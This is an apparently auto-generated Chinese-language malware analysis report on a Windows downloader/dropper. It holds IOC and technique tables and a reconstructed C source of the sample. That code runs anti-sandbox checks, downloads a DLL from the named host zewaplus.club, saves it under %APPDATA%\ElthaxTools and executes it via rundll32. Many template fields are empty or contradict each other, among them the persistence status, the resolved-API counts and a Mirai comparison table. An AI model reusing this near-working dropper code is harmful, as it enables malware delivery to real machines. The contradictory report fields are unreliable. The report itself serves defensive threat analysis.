| 分类 | 标签 | 置信度 |
|---|---|---|
| 类型 | 下载器/Dropper | HIGH |
| 家族 | WinHTTP 下载器 (zewaplus.club) | HIGH |
| 平台 | Windows x86-64 | HIGH |
| 编译器 | Microsoft Visual C/C++ (VS2022 v17.6) | HIGH |
| 壳/混淆 | XOR 字符串加密 (密钥 0x8e) | HIGH |
| 传播方式 | 未知初始感染向量;下载器从远程服务器获取载荷 | MEDIUM |
| 持久化 | 写入 %APPDATA%\ElthaxTools\mnd_knot.dll | MEDIUM |
| 字段 | 值 |
|---|---|
| 关联组织 | 未归因 (未知攻击者) |
| 别名 | ? |
| 动机 | 载荷投递 / 初始访问 |
| 目标行业 | ? |
| 活动名称 | ? |
| C2协议 | ? |
| C2基础设施 | ? |
未检出持久化行为。
(无 ASCII 回退)
| 协议 | |
| 端口 | |
| 地址/Domain | |
| IP | |
| 加密 | |
| 用途 | |
| API引用 | |
| 证书 |
N/A
| 段/节区 | 熵值 | 判定 |
|---|
| 地址 | 函数 | 功能 |
|---|---|---|
| N/A | ||
| 调用号 | 系统调用 | 用途 | 地址 |
|---|---|---|---|
| N/A | |||
| 字段 | 值 | 来源 |
|---|---|---|
| 无 | ||
| 维度 | 本样本 | Mirai | Gafgyt | Mozi | Hajime | LightAidra | KekSec | Tsunami | Kaiji | 匹配 |
|---|
| 变种 | 架构 | 大小 | 编译器 | 特征 | 状态 |
|---|---|---|---|---|---|
| N/A | |||||
行为: 执行多层次反分析检测:调用 GetProfileType 检测域加入状态、WNetCloseEnum(NULL) 反沙箱、GetComputerNameA 获取主机名、GetSystemDefaultLCID 检测区域、GetNativeSystemInfo 获取 CPU 信息。多次调用 rdtsc 进行时间戳反调试检测。
证据: ?
行为: 通过 XOR 0x8e 解密 DLL 名称(kernel32.dll、shell32.dll、winhttp.dll)。使用 LoadLibraryA 加载后,通过 GetProcAddress 动态解析 23+ 个 Windows API 函数地址,规避静态导入表分析。
证据: ?
行为: 使用 WinHTTP API(WinHttpOpen → WinHttpConnect → WinHttpOpenRequest → WinHttpSendRequest → WinHttpReceiveResponse → WinHttpReadData)从 hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll 下载加密载荷到内存缓冲区。
证据: ?
行为: 通过 SHGetFolderPathA 获取 %APPDATA% 路径,创建 ElthaxTools 目录(CreateDirectoryA),将下载的 DLL 保存为 mnd_knot.dll(CreateFileA + WriteFile)。
证据: ?
行为: 验证下载文件是否包含有效 PE 头(检查 MZ 魔术字节 0x5a4d)。随机延迟 200-711ms 后,通过 CreateProcessA 启动 rundll32.exe 并传入 SetupComponent 导出函数参数执行下载的 DLL。
证据: ?
行为: 使用 VirtualFree 释放内存,DeleteFileA/MoveFileExA 可能用于自删除或文件替换。最终调用 ExitProcess 退出。
证据: ?
未构建
无数据
| 维度 | 证据 | 权重 | 恶意指数 |
|---|
待判定
| 层 | API/技术 | 检测目标 | 绕过难度 |
|---|---|---|---|
| 无 | |||
| 检测方法 | VMware | VirtualBox | QEMU/KVM |
|---|---|---|---|
| 无 | |||
| 技术 | 是否存在 | 证据 | 对抗难度 |
|---|---|---|---|
| 字符串 XOR 加密 | PRESENT | 所有字符串和 API 名称使用 XOR 0x8e 加密 | LOW |
| 动态 API 解析 | PRESENT | 通过 GetProcAddress + LoadLibraryA 动态解析 14+ API | MEDIUM |
| rdtsc 时间检测 | PRESENT | 多次调用 rdtsc 进行时间反调试检测 | MEDIUM |
| 域环境检测 | PRESENT | 使用 GetProfileType 检测是否在域环境中运行 | LOW |
| 反沙箱技巧 | PRESENT | WNetCloseEnum(NULL) 在某些沙箱中返回异常错误码 | LOW |
| 主机名检测 | PRESENT | GetComputerNameA 获取主机名用于环境指纹 | LOW |
| 区域检测 | PRESENT | GetSystemDefaultLCID 检测系统区域设置 | LOW |
| CPU 检测 | PRESENT | GetNativeSystemInfo 检测 CPU 架构信息 | LOW |
| 完整性校验 | PRESENT | 每个函数含条件校验和,检测代码篡改 | HIGH |
| 随机延迟 | PRESENT | Sleep((GetTickCount & 0x1ff) + 200) 随机延迟 200-711ms | LOW |
| 层 | 操作 | API/命令 | 证据来源 |
|---|---|---|---|
| 无 | |||
| 反编译函数数 | N/A |
| 反编译输出 | N/A |
| 分析时长 | N/A |
见 QEMU strace_log 中的完整反编译代码| 总函数数 | 总调用关系 | 最大调用深度 |
|---|---|---|
| 10 | 15 | 4 |
N/A
| QEMU 模式 | N/A |
| 网络隔离 | 未配置 |
| 执行结果 | N/A |
| C2 数据 | 无 C2 通信 |
当前环境无可用的 Windows 沙箱虚拟机。强烈建议在隔离的 Windows 10/11 虚拟机中执行该样本,使用 Wireshark 监控 HTTPS 流量以验证 C2 通信。
推荐执行步骤:
基于 Ghidra 反编译输出重建的行为等效 C 代码:
/*
* Reconstructed: WinHTTP Downloader/Dropper
* Original SHA256: 00cc775fb18128c434bd5703f4dd29fca48b68791bbc2f9bfa8eb9c3ba7d2a5a
* Compiler: MSVC 2022 v17.6, PE64
*/
#include <windows.h>
#include <winhttp.h>
#include <shlobj.h>
#include <lmshare.h>
#define XOR_KEY 0x8e
/* XOR decrypt string in-place */
void xor_decrypt(BYTE *buf, size_t len, BYTE key) {
for (size_t i = 0; i < len; i++)
buf[i] ^= key;
}
/* Dynamic API resolver */
FARPROC resolve_api(HMODULE hMod, BYTE *enc_name, int len, BYTE key) {
xor_decrypt(enc_name, len, key);
FARPROC ret = GetProcAddress(hMod, enc_name);
xor_decrypt(enc_name, len, key); /* re-encrypt */
return ret;
}
/* Anti-VM checks */
BOOL anti_vm_checks(void) {
/* GetProfileType: domain detection */
DWORD pt = GetProfileType();
/* WNetCloseEnum(NULL): sandbox detection trick */
DWORD err = WNetCloseEnum(NULL);
DWORD result = pt ^ err;
char hostname[32]; DWORD sz = 32;
GetComputerNameA(hostname, &sz);
LCID lcid = GetSystemDefaultLCID();
DWORD tick = GetTickCount();
SYSTEM_INFO si;
GetNativeSystemInfo(&si);
return TRUE;
}
/* Download payload via WinHTTP */
BYTE* download_payload(const char *url, DWORD *out_size) {
HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
NULL, NULL, 0);
/* Parse URL: host, port, path */
/* hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll */
HINTERNET hConnect = WinHttpConnect(hSession, L"zewaplus.club", 443, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET",
L"/files/telemetriawork/telepuz.dll", NULL, NULL, NULL,
WINHTTP_FLAG_SECURE);
WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
BYTE *buf = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
DWORD total = 0, read = 0;
while (WinHttpReadData(hRequest, buf + total,
0x400000 - total, &read) && read > 0)
total += read;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
*out_size = total;
return buf;
}
/* Main dropper logic */
int WINAPI WinMainCRTStartup(void) {
anti_vm_checks();
/* Download telepuz.dll */
DWORD payload_size;
BYTE *payload = download_payload(
"hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll",
&payload_size);
/* Build path: %APPDATA%\ElthaxTools\mnd_knot.dll */
char appdata[MAX_PATH], full_path[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata);
sprintf(full_path, "%s\\ElthaxTools", appdata);
CreateDirectoryA(full_path, NULL);
strcat(full_path, "\\mnd_knot.dll");
/* Write DLL to disk */
HANDLE hFile = CreateFileA(full_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD written;
WriteFile(hFile, payload, payload_size, &written, NULL);
CloseHandle(hFile);
/* Check PE header */
if (*(WORD*)payload == 0x5A4D) { /* MZ */
Sleep((GetTickCount() & 0x1FF) + 200);
/* Execute via rundll32.exe */
char cmdline[2048];
sprintf(cmdline, "rundll32.exe \"%s\",SetupComponent", full_path);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi);
if (pi.hProcess) CloseHandle(pi.hProcess);
if (pi.hThread) CloseHandle(pi.hThread);
} else {
/* Execute as regular EXE */
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA(NULL, full_path, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi);
}
VirtualFree(payload, 0, MEM_RELEASE);
ExitProcess(0);
return 0;
}
| 偏移 | 字符串 | 类型 | 用途/含义 | 威胁等级 |
|---|---|---|---|---|
| 0x1400060d0 (.rdata) | rundll32.exe | Execution | 用于执行下载 DLL 的系统工具 | MEDIUM |
| 0x1400060e0 (.rdata) | kernel32.dll (XOR 加密) | API DLL | 用于动态加载 Windows API | LOW |
| 0x1400060f0 (.rdata) | shell32.dll (XOR 加密) | API DLL | SHGetFolderPathA 路径获取 | LOW |
| 0x140006000 (.rdata) | winhttp.dll (XOR 加密) | API DLL | WinHTTP 网络通信库 | HIGH |
| 0x140002000+ (.text) | XOR key: 0x8e | Crypto | 字符串和 API 名称加密密钥 | HIGH |
| 0x140001a1c (.text) | hxxps://zewaplus.club/files/telemetriawork/telepuz.dll (XOR encrypted) | C2 URL | 载荷下载地址 | CRITICAL |
| 0x140001a1c (.text) | ElthaxTools (XOR encrypted) | Persistence | 恶意软件安装目录名 | HIGH |
| 0x140001a1c (.text) | mnd_knot.dll (XOR encrypted) | Persistence | 下载的 DLL 载荷文件名 | HIGH |
| 0x140001a1c (.text) | SetupComponent (XOR encrypted) | Execution | rundll32.exe 的导出函数参数 | HIGH |
该样本是一个典型的两阶段恶意软件投递器。第一阶段(本样本)负责环境检测、反分析规避和载荷下载;第二阶段(telepuz.dll)是被下载的实际恶意载荷。C2 域名 zewaplus[.]club 使用 .club TLD,托管在标准 HTTPS 端口 443 上。建议立即封锁该域名及关联 IP,并搜索组织中是否存在 %APPDATA%\ElthaxTools\mnd_knot.dll 文件。rundll32.exe 以 SetupComponent 参数调用表明该 DLL 导出名为 SetupComponent 的函数。
— — — — — — 未生成
| 判定结果 | 待判定 |
| 恶意类型 | 待分类 |
| 恶意家族 | 未归因 |
| 威胁级别 | MEDIUM |
| 置信度 | 95% — 分析不完整 |
| 关联组织 | 未知 |
| 目标平台 | x86-64 |
| 感染链位置 | 待确定 |
?